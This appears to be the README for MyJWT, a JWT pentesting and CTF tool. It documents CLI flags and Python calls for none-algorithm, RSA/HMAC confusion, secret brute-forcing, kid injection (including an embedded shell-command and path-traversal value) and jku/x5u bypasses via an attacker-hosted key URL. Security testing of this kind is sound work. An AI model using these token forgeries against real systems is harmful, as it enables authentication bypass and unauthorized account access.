MyJWT

Introduction

This cli is for pentesters, CTF players, or dev.
You can modify your jwt, sign, inject ,etc...
Check Documentation for more information.
If you see problems or enhancement send an issue.I will respond as soon as possible. Enjoy :)

Documentation

Documentation is available at http://myjwt.readthedocs.io

Table of Contents

• Features
• Installation
• Usage
• Examples
• Download
• Contribute
• ChangeLog

Features

• modify jwt (header/Payload)
• None Vulnerability
• RSA/HMAC confusion
• Sign a jwt with key
• Brute Force to guess key
• crack jwt with regex to guess key
• kid injection
• Jku Bypass
• X5u Bypass

Installation

To install myjwt, simply use pip:

pip install myjwt

To run mywt from a docker image, run:

docker run -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

# mount volume for wordlist
docker run -v $(pwd)/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# On Windows
docker run -v %CD%/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

To install myjwt, on git:

git clone https://github.com/mBouamama/MyJWT.git
cd ./MyJWT
pip install -r requirements.txt
python MyJWT/myjwt_cli.py --help

To install myjwt on BlackArch:

pacman -S myjwt

Usage

Modify JWT

Option	Type	Example	help
--ful-payload	JSON	{"user": "admin"}	New payload for your jwt.
-h, --add-header	key=value	user=admin	Add a new key, value to your jwt header, if key is present old value will be replaced.
-p, --add-payload	key=value	user=admin	Add a new key, value to your jwt payload, if key is present old value will be replaced.

Check Your JWT (HS alg)

Option	Type	Example	help
--sign	text	mysecretkey	Sign Your jwt with your key
--verify	text	mysecretkey	Verify your key.

Exploit

Option	Type	Example	help
-none, --none-vulnerability	Nothing		Check None Alg vulnerability.
--hmac	PATH	./public.pem	Check RS/HMAC Alg vulnerability, and sign your jwt with public key.
--bruteforce	PATH	./wordlist/big.txt	Bruteforce to guess th secret used to sign the token. Use txt file with all password stored(1 by line)
--crack	REGEX	"[a-z]{4}"	regex to iterate all string possibilities to guess the secret used to sign the token.
--kid	text	"00; echo /etc/.passwd"	Kid Injection sql
--jku	text	MYPUBLICIP	Jku Header to bypass authentication, use --file if you want to change your jwks file name, and --key if you want to use your own private pem
--x5u	text	MYPUBLICIP	For jku or x5c Header, use --file if you want to change your jwks file name, and --key if you want to use your own private pem

Send your jwt

Option	Type	Example	help
-u, --url	url	http://challenge01.root-me.org/web-serveur/ch59/admin	Url to send your jwt.
-m, --method	text	POST	Method use to send request to url.(Default: GET).
-d, --data	key=value	secret=MY_JWT	Data send to your url.Format: key=value. if value = MY_JWT value will be replace by your new jwt.
-c, --cookies	key=value	secret=MY_JWT	Cookies to send to your url.Format: key=value.if value = MY_JWT value will be replace by your new jwt.

Other

Option	Type	Example	help
--crt	PATH	./public.crt	For x5cHeader, force crt file
--key	PATH	./private.pem	For jku or x5c Header, force private key to your key file
--file	text	myfile	For jku Header, force file name without .json extension
--print	Nothing		Print Decoded JWT
--help	Nothing		Show Helper message and exit.
--version	Nothing		Show Myjwt version

Examples

• Modify Your jwt
• None Vulnerabilty Check
• Sign Key
• Brute Force Signature
• RSA/HMAC Confusion
• Kid Injection
• Send your new Jwt to url
• Jku Vulnerability
• X5u Vulnerability

Modify your Jwt

CLI

myjwt YOUR_JWT --add-payload "username=admin" --add-header "refresh=false"

Code

from myjwt.modify_jwt import add_header, change_payload
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt

jwt_json = jwt_to_json(jwt)
jwt_json = add_header(jwt_json, {"kid": "001"})
jwt_json = change_payload(jwt_json, {"username": "admin"})
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]

Full example here: 01-modify-jwt

None Vulnerability

CLI

myjwt YOUR_JWT --none-vulnerability

CODE

from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
from myjwt.vulnerabilities import none_vulnerability
jwt_json = jwt_to_json(jwt)
jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE])

Full example here: 02-none-vulnerability

Sign Key

CLI

myjwt YOUR_JWT --sign YOUR_KEY

CODE

from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
key = "test"
jwt = signature(jwt_to_json(jwt), key)

Full example here: 03-sign-key

Brute Force

CLI

myjwt YOUR_JWT --bruteforce PATH

CODE

from myjwt.vulnerabilities import bruteforce_wordlist
wordlist = "../../wordlist/common_pass.txt"
key = bruteforce_wordlist(jwt, wordlist)

Full example here: 04-brute-force

Crack

CLI

myjwt YOUR_JWT --crack REGEX

RSA/HMAC Confusion

CLI

myjwt YOUR_JWT --hmac FILE

CODE

from myjwt.vulnerabilities import confusion_rsa_hmac
file = "public.pem"
jwt = confusion_rsa_hmac(jwt, file)

Full example here: 05-rsa-hmac-confusion

Kid Injection

CLI

myjwt YOUR_JWT --kid INJECTION

Code

from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
from myjwt.vulnerabilities import inject_sql_kid

injection = "../../../../../../dev/null"
sign = ""
jwt = inject_sql_kid(jwt, injection)
jwt = signature(jwt_to_json(jwt), sign)

Full example here: 06-kid-injection

Send your new Jwt to url

CLI

myjwt YOUR_JWT -u YOUR_URL -c "jwt=MY_JWT" --non-vulnerability --add-payload "username=admin"

Jku Vulnerability

CLI

myjwt YOUR_JWT --jku YOUR_URL

Code

from myjwt.vulnerabilities import jku_vulnerability
new_jwt = jku_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)

Full example here: 07-jku-bypass

X5U Vulnerability

CLI

myjwt YOUR_JWT --x5u YOUR_URL

Code

from myjwt.vulnerabilities import x5u_vulnerability
newJwt = x5u_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)

Full example here: 08-x5u-bypass

Download

Check github releases. Latest is available at https://github.com/mBouamama/MyJWT/releases/latest

Contribute

• Fork this repository or clone it
• Create a new branch (feature, hotfix, etc...)
• Make necessary changes and commit those changes
• Check lint with make flake8
• Check unit_test with make test
• Send Pull Request I will check as Soon as Possible.

Change log

The log's become rather long. It moved to its own file.

See CHANGES.